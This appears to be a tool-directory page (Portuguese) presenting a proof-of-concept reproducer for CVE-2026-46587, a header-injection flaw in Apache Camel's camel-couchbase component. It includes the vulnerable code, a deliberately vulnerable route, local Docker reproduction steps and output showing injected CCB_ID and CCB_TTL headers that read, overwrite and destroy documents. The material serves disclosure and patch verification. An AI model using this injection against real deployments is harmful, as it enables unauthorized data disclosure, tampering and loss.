Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-46587 — Reprodutor para CVE-2026-46587: injeção de cabeçalho CCB_* no camel-couchbase do Apache Camel permitindo divulgação de documentos, adulteração e destruição forçada de dados via TTL (corrigido em 4.14.8/4.18.3/4.21.0) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-46587
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e Educação
GitHuboscerd/cve-2026-46587

CVE-2026-46587

Reprodutor para CVE-2026-46587: injeção de cabeçalho CCB_* no camel-couchbase do Apache Camel permitindo divulgação de documentos, adulteração e destruição forçada de dados via TTL (corrigido em 4.14.8/4.18.3/4.21.0)

Ver Repositório
12há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-couchbase CCB_* Reprodutor de Injeção de Cabeçalho (CVE-2026-46587)

Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-couchbase do Apache Camel, rastreada como CVE-2026-46587. O componente lê vários cabeçalhos Exchange para controlar seu comportamento — CCB_KEY (chave do documento), CCB_ID (id do documento), CCB_TTL (expiração do documento), CCB_DDN (nome do documento de design) e CCB_VN (nome da view). Os valores string dessas constantes de cabeçalho (definidas em CouchbaseConstants) são nomes simples sem prefixo, ao contrário dos nomes prefixados Camel que todos os outros componentes usam (ex.: CamelSqlQuery). O HttpHeaderFilterStrategy de entrada do Camel bloqueia apenas nomes de cabeçalho que começam com Camel / camel, então esses nomes passam pelo filtro de entrada inalterados. Quando uma rota expõe um ponto de entrada HTTP (por exemplo platform-http) na frente de um produtor couchbase, um cliente HTTP não confiável pode definir esses cabeçalhos diretamente e substituir o id do documento, TTL, nome do documento de design ou nome da view que o autor da rota configurou.

Este PoC demonstra três impactos distintos da única falha:

  1. Divulgação — um CCB_ID injetado lê um documento fora do escopo do chamador.
  2. Adulteração — um CCB_ID injetado em uma gravação sobrescreve um documento protegido.
  3. Destruição de dados — um CCB_TTL=1 injetado força o próprio documento do chamador a se autodestruir silenciosamente.

Advisory: https://camel.apache.org/security/CVE-2026-46587.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-couchbase
Classe Afetadaorg.apache.camel.component.couchbase.CouchbaseProducer lendo CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), etc.
CWECWE-20: Validação de Entrada Incorreta
ImpactoUm cliente HTTP define cabeçalhos CCB_* → substitui id do documento / TTL / doc de design / view → divulgação, adulteração, perda de dados
Pré-condiçõesUma rota expõe um produtor couchbase atrás de um consumidor HTTP (ex.: platform-http); não autenticado quando o consumidor é
Versões AfetadasDe 4.0.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0
Versões Corrigidas4.14.8, 4.18.3, 4.21.0
CorreçãoPR apache/camel#23228 (main), backportado via #23230 (4.18.x) / #23231 (4.14.x)
CréditoYu Bao (PayPal)

Mesma família de injeção de cabeçalho que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 e CVE-2026-47323. A correção compartilha seu PR com o aviso irmão CVE-2026-46588 (camel-couchdb).

Detalhes Técnicos

// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID  = "CCB_ID";
String HEADER_TTL = "CCB_TTL";

// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl   = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)

A correção (4.14.8 / 4.18.3 / 4.21.0) renomeia os valores dos cabeçalhos para a convenção Camel — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — de modo que são bloqueados pelo HttpHeaderFilterStrategy de entrada como todos os outros cabeçalhos de controle Camel. Os nomes dos campos constantes Java não são alterados.

A rota vítima

from("platform-http:/save")           // and /fetch
    .removeHeaders("Camel*")                                   // documented hardening — see below
    .choice().when(header("CCB_ID").isNull())
        .setHeader("CCB_ID", constant("user-draft"))           // default to the caller's own document
    .end()
    .to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");

A rota define o id do documento como o rascunho próprio do chamador e, como endurecimento documentado, remove o namespace de cabeçalhos de controle Camel na borda. Isso não ajuda: os cabeçalhos de substituição são nomeados CCB_ID / CCB_TTL, não CamelCouchbaseId / CamelCouchbaseTtl, então não são removidos nem por removeHeaders("Camel*") nem pelo filtro de cabeçalho HTTP embutido — e o produtor os honra.

O banco de dados é pré-povoado com dois documentos: user-draft (próprio do chamador) e system-config (um documento sensível que o endpoint nunca deve expor).

Estrutura do repositório

A vítima são as rotas Camel e seu banco de dados Couchbase; o atacante é um cliente HTTP não autenticado que apenas define cabeçalhos de requisição. Um pequeno harness SDK semeia e lê documentos para verificação, independentemente da rota vulnerável.

CVE-2026-46587/
├── pom.xml                 # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml      # couchbase 7.6 (community) + provisionador único + o app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchbaseSettings.java    # host / bucket / creds / ids dos documentos
    │   ├── CouchbaseHarness.java     # harness SDK: semeia + lê docs para verificação
    │   ├── VictimRoute.java          # platform-http:/save e /fetch -> produtor couchbase
    │   └── ExploitController.java    # atacante: requisições HTTP com cabeçalhos CCB_ID / CCB_TTL injetados
    └── resources/
        └── application.properties

Pré-requisitos

  • Docker e Docker Compose (executa Couchbase Server + o app)
  • Java 17+ e Maven 3.8+ (para construir o jar)

Passos para Reprodução

mvn clean package -DskipTests
docker compose up -d --build          # couchbase -> provisionador -> app (primeira inicialização baixa ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

O arquivo compose inicializa um cluster Couchbase de nó único (apenas KV), cria o bucket mybucket e um appuser, então inicia o app. Um alias de rede com pontos (couchbase.cve.local) é usado como hostname do nó porque o Couchbase rejeita hostnames curtos.

Saída esperada

initial DB state (read straight from Couchbase):
  user-draft    = empty-draft
  system-config = PROTECTED-ORIGINAL-CONFIG

=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
  empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
  PROTECTED-ORIGINAL-CONFIG
  read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
  system-config = PROTECTED-ORIGINAL-CONFIG   (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
  system-config = ATTACKER-OVERWRITE-PAYLOAD
  write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
  user-draft immediately after save: important quarterly data the user just saved
  user-draft ~2.5s later:            <not found: DocumentNotFoundException>
  ttl-injection / data loss: true

>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).

Vetores de Ataque

Baixar ferramenta